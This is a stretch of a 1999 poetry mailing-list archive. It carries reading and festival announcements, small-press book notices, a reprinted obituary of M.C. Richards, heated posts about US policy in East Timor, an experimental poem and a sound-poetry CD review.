At 1:15 PM -0700 9/18/99, Tisa Bryant wrote:
>(Talk to Me) In My Language, a panel hosted by the 1999 San Francisco Bay
>Area Book Festival, October 16, 1999, 3:30 pm, Fort Mason, Marina
>Conference Center, San Francisco. Co-sponsored by Small Press Distribution
>and Modern Times Bookstore.
>
>A gathering of innovative writers of color, exploring the nuances and
>challenges of communication and community, tradition and experimentation,
>publishing and politics, from the perspectives of

>Will Alexander, Catalina Cariaga, Summi Kaipa, Pamela Lu, Nathaniel Mackey,
>Harryette Mullen. Moderated by Tisa Bryant.
>
>Will Alexander' is the author of Asia & Haiti (Sun & Moon, 1995),
>Stratospheric Canticles (Pantograph, 1995), Towards the Primeval Lightning
>Field (O Books, 1998), and his latest book of poems, Above The Human Nerve
>Domain (Pavement Saw Press, 1998). He has recent writing in the latest
>issues of Chain, Fence, Orpheus Grid, and in translation, a set of poems in
>the journal Vatra out of Bucharest, Romania. A special section of Callalloo,
>edited by Harryette Mullen and dedicated to the work of Mr. Alexander, is
>forthcoming, as is his novella, Alien Weaving, from Green Integer Press.
>
>Catalina Cariaga was born in Los Angeles, CA (1958) and received her
>Bachelors of Music from Mount St. Mary's College in Los Angeles, and her
>Masters of Fine Arts in Creative Writing from San Francisco State
>Unversity. She is a contributing editor of Poetry Flash, a Poetry Review
>and Literary Calendar for the West. She has taught on the adjunct faculty
>of the Poetics Program at New College of California in San Francisco. Her
>poetry has been published in many journals, including Chain, Lipstick 11,
>New American Writing and ZYZZYVA. Cultural Evidence is her first book of
>poetry (Subpress, 1999). She works for University Relations at UC
>Berkeley, and lives in Oakland.
>
>Summi Kaipa is the editor of Interlope, a journal of Asian American poetics.
>She has published work in Fourteen Hills Review, Kenning, Rhizome, Rain
>Taxi, Tool A Magazine and Tripwire . A chapbook of her poetic work is
>forthcoming from Leroy Press.
>
>Pamela Lu was born in Southern California and studied mathematics at the
>University of California, Berkeley. Since 1995 she has worked as a technical
>writer in Silicon Valley and co-edited Idiom (www.idiomart.com), an online
>journal and chapbook press. In addition to a book of fanciful non-fiction,
>Pamela: A Novel (Atelos Press,1999), she has had prose and poetry published
>in a number of journals, including Chain, Chicago Review, Clamour, Explosive
>Magazine, Interlope, Mirage, and Poetics Journal. She lives in San
>Francisco.
>
>Nathaniel Mackey is the author of several chapbooks and books of poetry,
>among them Four for Trane (Golemics, 1978), Outlantish (Chax Press, 1992)
>Eroding Witness (University of Illinois Press, 1985), School of Udhra (City
>Lights Books, 1993) and Whatsaid Serif (City Lights Books, 1998). Strick:

>Song of the Andoumboulou 16-25, a compact disc recording of poems read with
>musical accompaniment was released in 1995 by Spoken Engine Company. He is
>the author of an ongoing prose composition, From A Broken Bottle Traces of
>Perfume Still Emanate, of which two volumes have been published: Bedouin
>Hornbook (Callaloo Fiction Series, 1986; second edition: Sun & Moon
>Press,1997) and Djbot Baghostus's Run (Sun & Moon Press, 1993), and editor
>of the literary magazine Hambone, and coeditor (with Art Lange) of the
>anthology Moment's Notice: Jazz in Poetry and Prose (Coffee House Press,
>1993). He is also the author of a book of critical essays, Discrepant
>Engagement: Dissonance, Cross-Culturality, and Experimental Writing
>(Cambridge University Press, 1993). Mr. Mackey is Professor of Literature
>at the University of California, Santa Cruz.
>
>Harryette Mullen's most recent book of poems, her fourth, is Muse and Drudge
>(Singing Horse Press, 1995). Her previous books of poems include Trimmings
>(Tender Buttons, 1991) and S*PeRM**K*T (Singing Horse Press, 1992). Ms.
>Mullen's work has just appeared or is forthcoming in Hambone, Moving
>Borders: An Anthology of Innovative Writing by Women, The Gertrude Stein
>Awards for Innovative Poetry, Santa Monica Review, Frame-Work, and the
>exhibit catalog of the Kimchi Xtravaganza at the Korean American Museum.
>She is also the author of Freeing the Soul: Race, Subjectivity and
>Difference in Slave Narratives, forthcoming from Cambridge University Press,
>December 1999. She teaches at the University of California, Los Angeles.
>
>**********
>Followed by "Fast, Cheap and Out of Control: New Publishers at SPD", a
>panel of new SPD publishers will discuss and answer questions about running
>a successful small press today. The panel will be moderated by Laura
>Moriarty, Assistant Director of Small Press Distribution, and features:
>SKANKY POSSUM Hoa Nguyen, Dale Smith
>MELODEON POETRY SYSTEMS Peter Neufield, Eric Frost
>KRUPSKAYA Jocelyn Saidenberg, Hung Q. Tu
>FLIPSIDE Anatalio C. Ubalde
>ATELOS Lyn Hejinian, Travis Ortiz
>
>20% OFF ALL BOOKS ALL DAY
>OCTOBER 16 & 17, 10-6PM
>SAN FRANCISCO BAY AREA BOOK FESTIVAL
>

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>
>**********
>Today we declare:
>First, they are living in a Nono form;
>Second, they are Nono lives;
>Third, they make us feel Nono;
>Fourth, they make us become Nono;
>Fifth, we Nono.
> Lan Ma
> "Manifesto of Nonoism"
> (Chendu, China, May 4, 1986)
>**********

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361. **Maria Damon**
IMAGINING query LANGUAGE
Wed 22 Sep 1999

email for Jed Rasula please? backchannel...

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362. **Michael Neff**
ACLU, WDS and Plaintiffs
Wed 22 Sep 1999

Thanks to the ACLU, Web Del Sol, and other plaintiffs, a preliminary injunction was leveled against enforcement or threatened enforcement of 1999 PA 33, Michigan's net censorship act--a law which would have placed all publishers in potential legal jeopardy. This means that the "law" will not go into effect, and that the State of Michigan may not enforce it or attempt to prosecute any net publisher until the lawsuit is concluded. The Judge agreed with us on all of our

arguments that the law is unconstitutional. A copy of the decision is available here: <a href="http://www.cyberspace.org/lawsuit/injunction.html">

Mike Neff
Editor
WDS

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363. KENT JOHNSON
A crown of iron
Wed 22 Sep 1999

In response to a post I called "The sound of drums," Michael Neff has written to tell me of his surprise at my "quick about face." I believe my implied other face must be pinned to a post I put up a few days ago, one that contained a reference to David Hume and ended with a statement about my complete agreement with Michael's position on East Timor. Since the intended tone of that first rebuttal did not register with him, I am thinking that others on the List may have taken it wrongly too. So, for what it's worth (and to keep my left-wing credentials before the List intact) I wanted to say-- That post about my agreeing with Michael Neff WAS SUPPOSED TO BE IRONIC.

Yes, I hate US imperialism, am one of those old fogeys who believes its existence is as real as rocks, and I wanted to make that conviction crystal clear, since irony, apparently, is failing me, along with other things in my body these days. And I wish Web del Sol and its editors the best of luck as they continue to spread the gospel of neo-liberal innocence and beneficence far and wide. May the sun never set on the empire of American poetry.

Kent

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364. Michael Magee
COMBO party - Sat. Sept. 25, 6pm!
Wed 22 Sep 1999

Hi all, wanted to let you know that there'll be a party celebrating the first 4 issues of COMBO this Saturday, Sept. 25, at 6pm at the Writers House in Philadelphia (3805 Locust Walk on Penn's campus).

You're all cordially invited so if you happen to be in the area. please do stop by. Food, drink, readings by past and future contributors, music, and the unveiling of COMBO 4 (the formal announcement for which I'll send to y'all on Monday). Should be a good time, and there's nothin like surprise guests to spice up an occassion. Hope to see some of you there. Feel free to email me for more info.

-Mike.

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365. Carol L. Hamshaw
EEC Website Launch and Fundraiser
Wed 22 Sep 1999

FOR IMMEDIATE RELEASE
Website Launch and Fundraiser
October 2, 1999
Video In Studios, 1965 Main Street
Contact: [redacted]/[redacted]

WEBSITE LAUNCH AND FUNDRAISER

Come celebrate The Edgewise ElectroLit Centre's new website and virtual Writer's Workshop hosted by Seven Sisters. The Sisters will be reading and the website will be displayed on computer monitors at Video In Studios. Admission is $5 and proceeds go to the programs and services of the Edgewise Café's on-line writer's workshop, such as honorariums to well-known guest writers who will facilitate the workshop once a month. The workshop is an online method for writer's to share their work and receive critique in a friendly, facilitated atmosphere. Meet writers from around the world and explore their work as well as receive feedback on your own: visit www.edgewisecafe.org.

The Edgewise Café Online also features a quarterly e-zine of Canadian poets. It publishes poetry, fiction, and art, as well as audio and video of selected works by writers such as Wayde Compton, Sheri-D Wilson, bill bissett, Loranne Brown, Andrea Thompson, S.R. Duncan, Pete McCormack, Bud Osborn, Adeena Karasick and more. The site delivers the latest news on the organization and its affiliates and serves as an excellent resource for creative online publishing and information for writers. GET CONNECTED!

Seven Sisters is an independent writing collective, a diverse and flexible group of writers meeting in Vancouver. Initiated in February 1997, the group formed to further develop members' writing through critiques, discussion and group projects. The group has performed at the Vancouver International Writer's Festival, the Vancouver Public Library (on International Women's Day) and at the Tongue Stomp reading series. The group is currently facilitating a weekly poetry electronic workshop that is part of Edgewise ElectroLit Café, The Edgewise ElectroLit Centre's website at

www.edgewisecafe.org. Their anthology, Seven Sisters, is available at Women In Print and Duthies Books. Judy MacInnes Jr writes fiction and poetry and is working on her first book of poetry. Susan MacRae is a poet and playwright. Molly Starlight has written and acted with the First Nations School of Acting. Billie Livingston's first novel, Going Down Swinging, will appear from Random House in January 2000. Shamina Senaratne is active as a writer, performer and textile artist. Andrea Galbraith has had two plays staged, and also writes fiction and non-fiction. Antonia Banyard will participate in the 1999 Writing Studio at the Banff Centre for the Arts. Sara Graefe is a playwright and fiction writer who just completed a residency at Norman Jewison's Canadian Film Centre. Natalie Meisner is a playwright and poet, and has won the Canadian National Playwrighting Competition.

The Edgewise ElectroLit Centre is a nonprofit society whose mandate is to exploit communications technology to widen the audience of Canadian poetry and to give poets, multi-media artists and youth the opportunity to use, learn, and create with this technology. Videoconferencing and online publishing are the major technologies that we work with. Our electronic magazine can be viewed and heard at <www.edgewisecafe.org>. We also are hosting Canada's first Videopoem Festival at Video In Studios November 7, 1999.

--
Carol L. Hamshaw
Administrator
Edgewise ElectroLit Centre
http://www.edgewisecafe.org

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366. Christopher Reiner
New book by Lisa Lubasch
Wed 22 Sep 1999

Avec Books announces the publication of
How Many of Them Are You? by Lisa Lubasch
(ISBN 1-880713-19-5)

From a review in *Publisher's Weekly* -- "A poet in her mid-20s, Lubasch writes with the intensity of a witness to the "birth of consciousness" in the classic late-19th-century sense. And, indeed, of the many echoes that resound in her debut volume, those of the most angst-ridden, defiant, uber-menschlich

Europeans--Rimbaud, Nietzsche, Lautréamont, the ironist Laforgue--are the most apparent...Mostly apostrophic, with direct addresses to the reader, a lover or the powers that be, the poems approach being and consciousness with the irony-shucking fury of a new Promethean...Lubasch is at an interesting crossroads, one where the integrity of the fragment, and the continuities of lyric are simultaneously questioned...It is a fraught ride that Lubasch provides, and one looks forward to what her future, already foretold as a minefield of possibilities, holds."

How Many More of Them Are You? is a book of texts and sub-texts on identity, love, on what is perceived and what is known. Divided into six sections, within which are "notes," fragments and "leprosariums," *How Many More of Them Are You* encompasses many voices and philosophic questions. In a literary era of detached irony, Lubasch's voice is passionate, dramatic and subtly humorous. Her poetry is unusual and completely unique.

Check out the Avec Books web site
http://www.litpress.com/how.html
for excerpts, audio clips, and advance comments by Lyn Hejinian, Wayne Koestenbaum, Cole Swensen, and Gillian Conoley

$14
Available from:
Small Press Distribution (not up on their web site yet, but they have it)
Baker & Taylor

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367. Pritchett,Patrick
Creeley on Wall Street
Wed 22 Sep 1999

Creeley today in WSJ
Dow soars to 36K

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368. William Marsh
Logo Lagoon from PBP
Wed 22 Sep 1999

Hi Poetics:

PaperBrainPress is happy to announce the publication of John Olson's *Logo Lagoon* (24pp.), the seventh book in the chapbook series.

This and other PBP chaps are $5 or $8 for any two. Or, for poetics folks, I'll gladly send this and another title to anyone who sends a couple bucks for postage.

Please visit the updated website for a listing and samples of *Logo Lagoon* and other titles.

http://www.sunbrella.net/paperbrainpress/

best wishes,

Bill Marsh
PaperBrainPress
1022 Emerald St.
San Diego, CA 92109

William Marsh
[redacted]
http://www.sunbrella.net

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369. Richard Dillon
Re: MC Richards
Wed 22 Sep 1999

It is clear that M.C. Richards set a very high standard worth emulating. Her aesthetics were her ethics. Thanks to Ron Silliman for bringing this notice to my attention.

>From: Ron Silliman <[redacted]>
>To: [redacted]
>Subject: MC Richards
>Date: Mon, Sep 20, 1999, 5:25 AM
>

> *From today's NY Times. I had not realized that she lived just 15 miles away.*
>
> *Ron*
>
> *----------*
>
> *September 20, 1999*
>
> *M.C. Richards, Poet, Potter and Essayist, Dies at 83*
>
> *By ROBERTA SMITH*

M. C. Richards, a poet, potter, essayist, translator and painter, who taught at Black Mountain College in the late 1940's and thereafter became an impassioned advocate of community in both art and life, died on Friday at Camphill Village, an agricultural community in Kimberton, Pa., where she had lived since 1984. She was 83.
An artist who wrote poems about pottery and made pots inspired by her reading, Ms. Richards was perhaps best known for "Centering in Pottery, Poetry and the Person," a book of essays published in the middle of the tumultuous 1960's that was impressive for its synthesis of thought, plain speech and incantatory momentum. The book, which became an underground classic, pulled together ideas about perception, craft, education, creativity, religion and spirituality, arguing for the richness of daily experience if carefully attended to, and the creativity of the average person. "Poets are not the only poets," Ms. Richards wrote.

Mary Caroline Richards was born in Weiser, Idaho, in 1916 and reared in Portland, Ore. She earned a bachelor's degree in literature and languages from Reed College in 1937, with a thesis titled "Poetry of the Tang Dynasty in Relation to Western Imagism." She went on to the University of California at Berkeley, where she studied Chinese and wrote her Ph.D. dissertation on irony in Thomas Hardy in 1942. She then began a brief marriage, and taught English at the Central Washington College of Education in Ellensburg, Wash., and at the University of Chicago. But she found academic life stifling.

In 1945 she married Albert William Levi Jr., her second husband and a social scientist who was invited that year to join the faculty of the experimental Black Mountain College, near Asheville, N.C. Black Mountain was a short-lived laboratory for innovative teaching and art whose faculty and students included Josef and Anni Albers, John Cage, Merce Cunningham, David Tudor, Robert Rauschenberg and Charles Olson.

At Black Mountain Ms. Richards taught writing, produced and, when necessary, translated plays by Cocteau, Satie and Yeats. She also danced and studied pottery with Robert Turner. Around 1950 she participated in what might have been the first "happening," with Cage, Olson, Rauschenberg and Franz Kline. In 1951 she separated from her husband, whom she later divorced, and in 1952 she went to New York with Tudor.

She studied pottery at Greenwich House in Greenwich Village, attended the meetings of the downtown avant-garde known as the Club and worked on the first English translation of Antonin Artaud's influential "Theater and Its Double," published by Grove Press in 1958.

In 1954 Ms. Richards, Tudor and Cage, along with Paul Williams, an architect, and Karen Karnes, a potter, who had both also been at Black Mountain, established a commune called the Land near Stony Point, N.Y. Ms. Richards lived there for a decade, working in a studio with Ms. Karnes; they developed a form of flame-proof clay that enabled them to make ceramic

> *cookware.*
>
> *Ms. Richards began giving pottery workshops in the early 1960's. Reflecting the ideas that would figure in "Centering," these became increasingly interdisciplinary, with titles like "Clay and Words," "Clay and Movement" and "Clay and Eurythmy." She lectured and taught workshops at schools in the United States, Canada and Britain.*
>
> *Her longest teaching affiliation, from 1986 until her death, was with the University of Creation Spirituality, established in Oakland, Calif., by Matthew Fox, a Dominican priest.*
>
> *Ms. Richards's books, which often mixed prose and poetry, included "The Crossing Point" (1973), "Opening Our Moral Eye" (1996), "Imagine Inventing Yellow" (1991) and "Toward Wholeness: Rudolf Steiner Education in America," a work of social philosophy. The Camphill community in Kimberton is one of 80 Camphills worldwide based on Steiner's teachings.*
>
> *In 1989 Ms. Richards, who has no survivors, added painting to her roster of activities. She then exhibited ceramics, poems and paintings together, most recently at the Works Gallery in Philadelphia in 1997. The Worcester Center for Crafts in Massachusetts is organizing a retrospective of her work that is to open on Oct. 9, with a public memorial.*
>
> *Ms. Richards embraced old age with characteristic openness, writing a poem in 1997 in which she saw herself as "living toward dying, blooming into invisibility."*

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370. daniel bouchard

East Timor

Wed 22 Sep 1999

"Only more bloodthirsty"
"Only more bloodthirsty"

The phrase rings in the ear. Now, THAT'S knowledge. Moving beyond rational queries into "group behavior" now we state with certainty which savages (re: not American) not only THIRST for blood, but which ones do it more than others. And better than others.

The Indonesian military and the militias they oversee show great ingenuity. Not content with the stockpiles of American arms (Indonesia produces none or few or none) they've also used locally manufactured machetes. This shows spirit in

less reliance on imports. Good for them. The first steps to releasing oneself from the IMF yoke may be found in such actions. After all, the people being slaughtered are hardly armed at all. Who needs an M16 to do a machetes job? It sure sounds better on NPR to report that machetes are being used. Exotic locale needs flavor. Machetes aren't even a garden tool in the US. Anyone handling a machete must reside in a universe far different from yours and mine. But they have guns too; American made. And still people insist this proves nothing.

What was it we had set out to prove, learn, listen to one another? The US is guilty of atrocities in East Timor, or only "shares" in the responsibility? Sharing is the first step in exoneration. The US arms, trains, and funds despots only with the best intentions. Arm your friends to the teeth in the fight for democracy. It's they who will fire the weapons. If you believe this your conscience will never be bothered.

I wonder, now that Allan Nairn has been deported from Indonesia, how many appearances he will make in the mainstream media. Wouldn't the last American reporter in East Timor make an interesting interview? As quoted on this list earlier Nairn states that the US bears "some" of the responsibility. If put before a major network TV camera however, he may begin to broadcast loudly just how much that "some" consists of. The usual pattern is that the "mainstream" media will ignore someone like Nairn, someone who actually saw things happening and can offer explanation and analysis for the events, even a white guy. No, what we'll hear are modified press releases from the State Department and see footage borrowed from Australian TV at least until it's safe enough (Western military presence) for western media to go back and we'll hear anguished statements from US officials about the "tragedy," and how, like last time, we must stop it next time and so on.

Fuck that.

I have no voice with the Indonesian government. I have one here. I know that my government did everything BUT handle the machetes in East Timor. My efforts need to take place here, however small or insignificant they seem. No time to "educate" or argue Neff.

<<<<<<>>>>>>>>>>>>>>>>>>
Daniel Bouchard
The MIT Press Journals
Five Cambridge Center
Cambridge, MA 02142

[redacted]
phone: [redacted]

fax: [redacted]
>>>>>>><<<<<<<<<<<<<<<<

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371. David Kirschenbaum
Anyone know about Detroit-area readings and bookstores?
Wed 22 Sep 1999

I'm headed to Detroit this weekend to catch a ballgame at Tiger Stadium, before they knock the ole lady down, and wonder if anyone knows about readings and bookstores in the area, zines, small presses, the works. A contact name and info would be great, too.

Thanks and
Be Good,
David Kirschenbaum, editor
Booglit

_____
Get Your Private, Free Email at http://www.hotmail.com

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372. Poetry Project
next week & stuff for sale
Wed 22 Sep 1999

NEXT WEEK, on Wednesday, September 29th, at 8 pm, The Poetry Project presents a special event:

THE ELECTRIC MAGISTRATE CIRCUS

with Emily XYZ, Chi Chi Valenti, Dael Orlandersmith, John Giorno, John S. Hall, Beau Sia, Glenn O'Brien, Lawrence Goldhuber, the Virgil Moorefield Ensemble, and many others performing & reading to free Emily XYZ's captive CD, the Electric Magistrate, from Mercury/Polygram and to promote artist ownership of work, more equitable royalty rates, and the distribution of words/music/art via the Internet.

This event is $10, $7 for students & seniors. For more info, call [redacted]

AND THEN

Friday, October 1st at 10:30 pm

PRE-MILLENNIAL CRAMPS: A SPOKEN-WORD HAPPENING

with Beau Sia, Todd Colby, Galinsky, & Lisa King

co-sponsored by Pseudo.com

COMPUTER STUFF SALE

We've got some Mac-compatible goodies for sale here at the office, including:

2 zip drives, practically brand-new, $50 or highest offer each. They work great, just can't use them with our new iMacs.

4 hard drives, $50 or highest offer each, again, non-compatible with the new turquoise aerodynamic computer-things.

All equipment as is, no guarantees

Call [redacted] and we will bargain as if we were travelling the silk route.

NEW ON THE WEBSITE

A few new additions, specifically, Jaime Manrique's essay, "Ashes & Embers: Presence of Latin American Poetry in New York City" in the World Archives

Nathaniel Mackey's paper, "Design for Continuing Investigation" in the Project Papers Archives

and Jonathan Mayhew's "Writing Experiments (with apologies to Bernadette Mayer)"

at http://www.poetryproject.com

AND COMING SOON

Lawrence Ferlinghetti & Edward Sanders read

a Sanctuary event

on a Tuesday

October 5, 1999

8 pm

Hope to see you there!

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373. Poetics List Administration

poetics list backlog - please read

Wed 22 Sep 1999

We seem to be developing a backlog of messages, increased participation due no doubt to the return of the academic year, as well as to a few rather heated discussions happening now on the list.

As to the latter, I would suggest we might endeavor collectively to keep things on an even keel, so to speak. At its best, the list runs on reasoned dissent as the exchange of views and ideas; it stalls on rancour.

Now, the backlog I want to clear out as soon as possible, meaning that I intend to send a good number of messages over the next few days. It would be helpful if posting were kept to a minimum until, say, Thursday late; this I will leave to all of you. Be prepared, in any case, to see quite a bit of mail coming through.

Chris

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374. Poetics List Administration
Euro-SF Poetry Festival / Saidenberg
Wed 22 Sep 1999

I had to reformat this message. Chris

---------- Original message (ID416774) (141 lines) ----------

Date: Mon, 20 Sep 1999 14:47:53 -0800
From: jocelyn saidenberg <[redacted]>
Subject: Euro-SF Poetry Festival

Friday, September 24, 7:30 p.m.
Euro-San Francisco Poetry Festival
German poet Tracy Splinter
US poets Kevin Killian and Jocelyn Saidenberg will stage their play "Capriccio"

Tracy Splinter was born in 1971 in Cape Town, South Africa, of Dutch, Javanese, and English descent. After emigration to Germany, she became a New German National in 1997, and lives in Hamburg. Splinter is prominent in the spoken word scenes of Hamburg, Berlin, Munich, and Rotterdam. Fluent in German, English, Afrikaans, and Spanish, she has translated her own poetry for the Euro-San Francisco Festival readings. "Ich habe keine Eile, die Welt zu zerst–ren," she writes, "was wirklich will ist sie wiederzuerschaffen./ Und will, dass Du meine meistgesch”tz- und einmaligste Sch–pfung bist." ("I am in no hurry to destroy the world/ in fact I want to recreate it/and I want you to be my most prized and most exquisite creation.")

In "Capriccio" an international cast of divas, designers, poets, assassins, lovers, enemies, friends, detectives and socialites gather backstage at the San Francisco Opera moments before the curtain goes up on Richard Strauss' opera "Capriccio." Our farce comedy of the same name is an affectionate salute to the international poetry community as we gather together here in the city of fog, sourdough bread, Language poetry, skateboards and the inimitable Robin Williams. With a cast of local artists and writers including Norma Cole, Kota Ezawa, Phoebe Gloeckner, Craig Goodman, Clifford Hengst, Marisa Hernandez, Scott Hewicker, Jennifer Locke, Rex Ray, Jocelyn Saidenberg, Leslie Scalapino and Wayne Smith.

Co-sponsored with the Goethe-Institut, in conjunction with the Euro-San Francisco Poetry Festival, a 5-day series of events sponsored by Alliance FranÁaise, Goethe-Institut, and Istituto Italiano di Cultura, in collaboration with City Lights Books, Intersection for the Arts, New Langton Arts, San Francisco Art Institute, and Small Press Traffic.

New College Theater
777 Valencia Street, San Francisco
$5

Small Press Traffic Literary Arts Center
766 Valencia Street
San Francisco, CA 94110
415/[redacted]
www.sptraffic.org

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375. Taylor Brady
Enough (was RE: I can't believe it!!!)
Wed 22 Sep 1999

Ms. Houlihan,

That you maintain your insistence on the lack of a "connection" or "motivation" beyond the casually commercial, despite voluminous postings and references to sources substantiating claims to the contrary, is, frankly, fine with me. I have no wish to use this space to convince those who have decided not to be convinced. My purpose in responding to this thread was to offer a counter to what I saw as misinformation being offered by Mr. Neff. I and others have done that, and it seems that to continue this exchange beyond the present point would be simply to run in circles at great waste of bandwidth. To follow out the implications of Elizabeth Treadwell's message: the information is available for those

who want it, and at this point in the life of this thread, no one on the list is learning anything new.

Also, I take your appeal to scarcity of time very seriously - I write in spare moments at work, and I have better things to do with that time. Yell at people in William Cohen's office, for one. Post to Poetics about things like the McCaffery and Rasula anthology, for another, in greater depth and with greater care than the past few days have allowed me. Or review two readings (Saidenberg/Singleton, Lu/Harryman) of last weekend, both of which deserve a fairly close account. Eat lunch. Step outside and watch the unseasonable electrical storms... The list is a decent resource for political information, far less so for the nuances of political argument, and with that I'll shut up for a while.

Taylor Brady

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376. Grant Jenkins
The DC Scene
Wed 22 Sep 1999

I've just moved to the DC/Richmond area and was wondering if anyone would be so kind as to clue me in on bookstores, reading groups, events, organizations, etc. in the area. Any backchanneled information and/or introductions would be greatly appreciated.

Grant

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377. Philip Nikolayev
A POLEMIC
Wed 22 Sep 1999

A POLEMIC

I subvert by suggesting alternative forms of
to rely on outmoded conventions is highly problem
I subvert traditional notions of meaning
old structural approach challenged by a younger gen
binary oppositions pfut, zagging across the page
semantics of the visual sign can no longer be construed
simple tertiary relationship but rather
more complex more problematic seen outside a teleology
principle of the greatest reduction I now
am undermining a new body of readings
I mean ousside as a colloquial usage

but then again problem
but then again no problem
mindlobe how we undermine transparency
of language I "mean" how it get rid of this illusion
that we can see ideas of things through language
no matter how defamiliarize we its essentials
with usage of again technique
sense-trapping within compounds to the bunk
sense-chaining I believe the more appropriate word
just as maximally subverting meter
i.e. trying to write absolute prose absolute non-poetry
generates its own constraints own meter own poetry
evrbody shld try it sometime
or else as I was yesterday
subverting every syntactical
by suddenly telemomma existence as structured out
hangin three outflora gooters
to specious and then I mean the sophists
are clearly underrepresented in the academy
have to try to hand out then
man I wanna subvert
something traditional language
is driving me nads spuds exploding
in the earth and then I salubriously reached the port
the bloodmaster suggested I wait a few minutes
till he apply his principles
so I waited 15 minutes in the well lit sauna
concresping with joy and redolence then the blurf
guardelia hit the switch and the who bhagla roared
splink splonk upon the capret and I had
pfdno ek bawamnnnbh pevieg ba makmzinbb
erated over and over again as a sort of closure
abort abort how you hear me
do you copy again subvert subvert
and still meaning shines through
subvert it and still it shines through
that’s the magic

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378. Nate and Jane Dorward

Re: Things

Wed 22 Sep 1999

I'd agree with Brian Stefans as to the utility of reviews on the list, so I'll post below a modest encomium I posted yesterday to the British-Poets discussion list--makes more sense here anyway, since the CD in question doeesn't contain any British poetry.... -- all best --N

....I should also mention a CD that popped through the mail recently, _Carnivocal: A celebration of sound poetry_ (Red Deer Press). It's a collection of Canadian sound poetry, both familiar and unfamiliar names: bpNichol, Christian Bok, Steven Ross Smith, Verbomotorhead, First Draft, bill bissett, Stephen Cain, W. Mark Sutherland, (3 of the 4) Horsemen and Owen Sound, Re:Sounding, Penn Kemp, Gerry Shikatani, Paul Dutton, Richard Truhlar & Steve McCaffery. The quality's generally high, the approaches quite various, ranging from "classic" sound-poetry (e.g. the dissection of a word into its component letters and syllables), to an almost pop-oriented sound reminiscent of Bobby McFerrin or the local kids imitating dance music with their mouths, to electronic treatments of sampled voices. Good to have an on-form Christian Bok represented generously--one of the real virtuosos of this form--, as ditto the hilarious collaboration between the Horsemen (Nichol, McCaffery, Dutton) and Owen Sound (Dean, SR Smith, Penhalf, Truhlar). The one disappointment on the collection is that the superb concluding track (McCaffery doing a part of _Carnival, Panel 2_) is in sub-bootleg-quality sound (bad enough to faze even fans of Eugene Chadbourne or Lennie Tristano...). The rest of the collection is in very good sound, so this comes as something of a shock! -- Anyway, the compilation as a whole is certainly recommended. -- In Canada the CD's distributed through Raincoast Books, 8680 Cambie Street, Vancouver, BC, Canada, V6P 6M9 (ph: [redacted]). Not sure if that goes for the UK & US too: perhaps try contacting the editor, Douglas Barbour, at <[redacted]>.

Nate & Jane Dorward
[redacted]
109 Hounslow Ave., Willowdale, ON, M2N 2B1, Canada
ph: [redacted]

↑ Index

379. Mark Weiss
Help!
Wed 22 Sep 1999

Could someone backchannel me Kathy Lederer's phone #? Check with her, natch, if there's any hesitation.

↑ Index

380. Gary Shapiro
Jewish literary evening adds "Women of the Wall"
Thu 23 Sep 1999

in addition, meet film-maker Faye Lederman, who has made "WOMEN OF THE WALL" , a compelling film about the struggle for equality at the Western Wall in Jerusalem; clips from the film will be shown during the literary afternoon at the

1st Annual NEW JEWISH LITERATURE & WRITING event

Sunday, September 26,1999

LOCATION: 40 West 45 Street (near Fifth Avenue), 2nd floor New York, New York RSVP or for more information: [redacted] or [redacted] FREE EVENT

2:00pm THANE ROSENBAUM reads from SECOND HAND SMOKE (St. Martin's) a story taking place in the seamy underbelly of Miami Beach's Collins Avenue, where Mila Katz, Holocaust survivor and confidante to Miami's mobsters, lives by her wits. Thane Rosenbaum, the literary editor of Tikkun Magazine, has published ELIJAH VISIBLE, which Received the Edward Lewis Wallant Book Award. His essays and reviews have appeared in The New York Times, The Wall Street Journal, The Washington Post, and elsewhere.

3:00pm ALAN KAUFMAN reads poems from WHO ARE WE? (Davka Press), a book of poetry about Jewish themes. Kaufman currently lives in San Francisco. His poetry has appeared in Tikkun Magazine, Identity Lessons: Learning American Style (Penguin Books), and Aloud: Voices From The Nuyorican Café (Henry Holt). He is also the author of a forthcoming book THE OUTLAW BIBLE OF AMERICAN POETRY (Thunder's Mouth) -which contains poets from Ginsberg and Kerouac to comedians such as Lenny Bruce and Richard Pryor, to song writers such as Bob Dylan, Jim Morrison, and Janis Joplin.and editor of a cool Jewish website. Kaufman is also the author of THE NEW GENERATION: FICTION BEFORE OUR TIME FROM AMERICA'S WRITING PROGRAMS.

4:00pm MELVIN JULES BUKIET reads from a new anthology NEUROTICA: JEWISH WRITERS ON SEX (WW Norton). The book contains pieces by Woody Allen, Saul Bellow, Nathan Englander, Erica Jong, Francine Prose, and Isaac Bashevis Singer, among others. Melvin Bukiet's other works include SIGNS

AND WONDERS, AFTER, WHILE THE MESSIAH TARRIES, STORIES OF AN IMAGINARY CHILDHOOD, and SANDMAN'S DUST. His work appeared in the OXFORD BOOK OF JEWISH STORIES, and is proprietor of KGB BAR downtown.

Free doorprizes of SUCCOT holiday fruit baskets! Come hear exciting new voices in Jewish literature! ALL are invited! Near the New York Is Book Country festival!

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381. Ron Silliman

It was 20 years ago today...

Thu 23 Sep 1999

Ah, David, I have no idea what's become of Judith Barry -- the only mention I see at all on Hotbot to same is to a woman who married in 1719 and gave birth to the Earl of Farnham, thus unlikely to be the same person I performed with on 20 June '79. Which my own rotting braincells suggest was in 1978 anyway.

The Farm was a performance space just off of the Mission District in San Francisco. It lasted for about a decade. In '79, Jill Scott, an Australian painter/performance artist and I put together a series that combined one poet and one performance artist. This ran for about 6 weeks. Jill had been quite curious at how closely different poets (such as thee and me, David) seemed to influence one another, how everybody turned up for one's readings, while performance artists had little or nothing to say to one another (Tom Marioni's Museum of Conceptual Art, upstairs from the famed Jerry & Johnny's bar, had closed maybe the year before, to give way to what has subsequently become the Marriott Jukebox, the old third street seamen's hotels having made way for the Moscone Center, the Yerba Buena Arts Center, the SF MOMA etc). I read downstairs -- a straightforward reading (I recall Robert Duncan in the first row, cackling at some of the groaners that seem to besot my work) except that there were geese present, honking and honking like so many saxophones.

Ron

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382. KENT JOHNSON

Kevin Magee's work

Thu 23 Sep 1999

AH Bramhall posts very thoughtful remarks about the series from Kevin Magee which appeared on the List a month or so ago. Nice to have a second to the bravo I threw out back then. But I know we two can't be the only ones who were/are deeply impressed. Do go back to see these pieces in the archives if

you haven't. They're extraordinary-- politics and poesis interlocked and grappling and getting rough on each other and climaxing together. You can't help but watch. Kent

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383. Poetics List Administration
Re: Anyone know about Detroit-area readings and bookstores?
Thu 23 Sep 1999

This message came to the administrative account. - Tim

---------- Forwarded Message ----------
Date: Wednesday, September 22, 1999, 4:11 PM +0000
From: Joel Kuszai <[redacted]>
